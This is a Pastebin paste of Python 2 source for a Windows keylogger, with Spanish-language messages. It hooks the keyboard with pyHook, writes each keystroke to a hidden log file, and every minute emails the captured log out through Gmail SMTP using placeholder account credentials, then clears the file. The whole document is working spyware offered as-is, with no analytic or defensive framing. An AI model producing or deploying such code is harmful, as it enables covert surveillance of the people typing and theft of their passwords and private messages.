Advertisement
Guest User

Untitled

a guest
Jun 24th, 2017
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.68 KB | None | 0 0
  1. import pyHook, pythoncom, sys, logging
  2. import time, datetime
  3.  
  4. wait_seconds = 60
  5. timeout = time.time() + wait_seconds
  6. file_log = 'C:\\secret\\dat.txt'
  7.  
  8. def TimeOut():
  9. if time.time() > timeout:
  10. return True
  11. else:
  12. return False
  13.  
  14. def SendEmail(user, pwd, recipient, subject, body):
  15. import smtplib
  16.  
  17. gmail_user= user
  18. gmail_pass = pwd
  19. FROM = user
  20. TO = recipient if type(recipient) is list else [recipient]
  21. SUBJECT = subject
  22. TEXT = body
  23.  
  24. message = """\From: %s\nTo: %s\nSubject: %s\n\n%s
  25. """ % (FROM, ", ".join(TO), SUBJECT, TEXT)
  26. try:
  27. server = smtplib.SMTP("smtp.gmail.com", 587)
  28. server.ehlo()
  29. server.starttls()
  30. server.login(gmail_user, gmail_pass)
  31. server.sendmail(FROM, TO, message)
  32. server.close()
  33. print 'Correo enviado satisfactoriamente!'
  34. except:
  35. print 'Error al mandar correo!'
  36.  
  37. def FormatAndSendLogEmail():
  38. with open(file_log, 'r+') as f:
  39. actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
  40. data = f.read().replace('\n', '')
  41. data = 'Log capturado a las: '+ actualdate + '\n' + data
  42. SendEmail('tucorreo@gmail.com', 'tuclave', 'tucorreo@gmail.com',
  43. 'Nuevo log - '+actualdate, data)
  44. f.seek(0)
  45. f.truncate()
  46.  
  47. def OnKeyboardEvent(event):
  48. logging.basicConfig(filename=file_log, level=logging.DEBUG,
  49. format = '%(message)s')
  50. logging.log(10, chr(event.Ascii))
  51. return True
  52.  
  53. hooks_manager = pyHook.HookManager()
  54. hooks_manager.KeyDown = OnKeyboardEvent
  55. hooks_manager.HookKeyboard()
  56.  
  57. while True:
  58. if TimeOut():
  59. FormatAndSendLogEmail()
  60. timeout = time.time() + wait_seconds
  61.  
  62. pythoncom.PumpWaitingMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement